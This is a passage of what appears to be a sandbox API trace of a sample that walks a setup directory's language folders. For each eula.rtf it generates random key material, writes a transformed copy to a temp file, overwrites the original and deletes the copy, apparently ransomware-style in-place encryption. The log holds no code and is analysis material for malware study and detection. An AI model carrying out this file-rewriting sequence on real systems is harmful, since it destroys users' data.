	[0235.931] WriteFile (in: hFile=0x174, lpBuffer=0xc0001c2000*, nNumberOfBytesToWrite=0x1f8f, lpNumberOfBytesWritten=0xc0001a5bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001c2000*, lpNumberOfBytesWritten=0xc0001a5bec*=0x1f8f, lpOverlapped=0x0) returned 1
	[0235.937] CloseHandle (hObject=0x174) returned 1
	[0235.939] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0235.950] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0235.950] GetFileType (hFile=0x174) returned 0x1
	[0235.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0235.950] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0235.951] GetFileType (hFile=0x190) returned 0x1
	[0235.951] VirtualAlloc (lpAddress=0xc0001c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c4000
	[0235.953] ReadFile (in: hFile=0x190, lpBuffer=0xc0001c4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001c4000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x1f8f, lpOverlapped=0x0) returned 1
	[0235.953] WriteFile (in: hFile=0x174, lpBuffer=0xc0001c4000*, nNumberOfBytesToWrite=0x1f8f, lpNumberOfBytesWritten=0xc0001a5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001c4000*, lpNumberOfBytesWritten=0xc0001a5b74*=0x1f8f, lpOverlapped=0x0) returned 1
	[0235.962] ReadFile (in: hFile=0x190, lpBuffer=0xc0001c4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001c4000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0235.962] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085")) returned 0
	[0235.962] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085")) returned 0
	[0235.963] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085")) returned 0x20
	[0235.963] CloseHandle (hObject=0x190) returned 1
	[0235.963] CloseHandle (hObject=0x174) returned 1
	[0235.964] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085")) returned 1
	[0235.966] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0235.990] SetEvent (hEvent=0x1a0) returned 1
	[0235.990] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0235.990] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0235.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x174
	[0235.990] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a9bf4 | out: lpMode=0xc0001a9bf4) returned 0
	[0235.990] GetFileType (hFile=0x174) returned 0x1
	[0235.991] VirtualAlloc (lpAddress=0xc0001cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001cc000
	[0235.991] GetFileType (hFile=0x174) returned 0x1
	[0235.991] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0xc0001a9c44 | out: lpFileInformation=0xc0001a9c44) returned 1
	[0235.992] GetFileInformationByHandleEx (in: hFile=0x174, FileInformationClass=0x9, lpFileInformation=0xc0001a9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a9c28) returned 1
	[0235.992] VirtualAlloc (lpAddress=0xc0001ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ce000
	[0235.993] ReadFile (in: hFile=0x174, lpBuffer=0xc0001ce000, nNumberOfBytesToRead=0x1ba5, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ce000*, lpNumberOfBytesRead=0xc0001a9b04*=0x19a5, lpOverlapped=0x0) returned 1
	[0235.995] ReadFile (in: hFile=0x174, lpBuffer=0xc0001cf9a5, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001cf9a5*, lpNumberOfBytesRead=0xc0001a9b04*=0x0, lpOverlapped=0x0) returned 1
	[0235.995] CloseHandle (hObject=0x174) returned 1
	[0235.996] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000f1e0 | out: pbBuffer=0xc00000f1e0) returned 1
	[0235.996] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010810 | out: pbBuffer=0xc000010810) returned 1
	[0235.996] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000d01 | out: pbBuffer=0xc000000d01) returned 1
	[0235.996] VirtualAlloc (lpAddress=0xc0001d0000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001d0000
	[0235.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0236.001] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a9c04 | out: lpMode=0xc0001a9c04) returned 0
	[0236.001] GetFileType (hFile=0x174) returned 0x1
	[0236.001] WriteFile (in: hFile=0x174, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x1aa5, lpNumberOfBytesWritten=0xc0001a9bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0001a9bec*=0x1aa5, lpOverlapped=0x0) returned 1
	[0236.003] CloseHandle (hObject=0x174) returned 1
	[0236.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0236.078] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0236.078] GetFileType (hFile=0x174) returned 0x1
	[0236.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0236.078] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0236.078] GetFileType (hFile=0x190) returned 0x1
	[0236.078] VirtualAlloc (lpAddress=0xc0001dc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001dc000
	[0236.080] ReadFile (in: hFile=0x190, lpBuffer=0xc0001dc000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001dc000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x1aa5, lpOverlapped=0x0) returned 1
	[0236.080] WriteFile (in: hFile=0x174, lpBuffer=0xc0001dc000*, nNumberOfBytesToWrite=0x1aa5, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001dc000*, lpNumberOfBytesWritten=0xc0001a9b74*=0x1aa5, lpOverlapped=0x0) returned 1
	[0236.083] ReadFile (in: hFile=0x190, lpBuffer=0xc0001dc000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001dc000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.083] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c")) returned 0
	[0236.083] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c")) returned 0
	[0236.083] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c")) returned 0x20
	[0236.083] CloseHandle (hObject=0x190) returned 1
	[0236.084] CloseHandle (hObject=0x174) returned 1
	[0236.084] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\53fffe3c88fd69068f2ca115a7b7d42c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\53fffe3c88fd69068f2ca115a7b7d42c")) returned 1
	[0236.147] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0236.236] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0236.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00002d400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174
	[0236.339] CloseHandle (hObject=0x174) returned 1
	[0236.339] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036" (normalized: "c:\\588bce7c90097ed212\\1036"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036" (normalized: "c:\\588bce7c90097ed212\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.361] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0236.361] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.361] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a835da7, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.362] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.362] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.362] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.362] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0236.363] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.363] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412)) returned 1
	[0236.363] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.363] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0236.364] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.364] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a835da7, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xec6)) returned 1
	[0236.364] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.364] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.364] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0236.437] SetEvent (hEvent=0x17c) returned 1
	[0236.437] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037" (normalized: "c:\\588bce7c90097ed212\\1037"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.442] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037" (normalized: "c:\\588bce7c90097ed212\\1037"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.442] VirtualAlloc (lpAddress=0xc00025e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00025e000
	[0236.443] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0236.443] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.443] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a89297e, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x1bc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.443] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.444] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.444] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.444] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0236.444] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.444] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c)) returned 1
	[0236.453] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.453] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158)) returned 1
	[0236.459] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.459] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a89297e, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x1bc3)) returned 1
	[0236.459] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.459] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.460] SetEvent (hEvent=0xd4) returned 1
	[0236.460] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038" (normalized: "c:\\588bce7c90097ed212\\1038"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
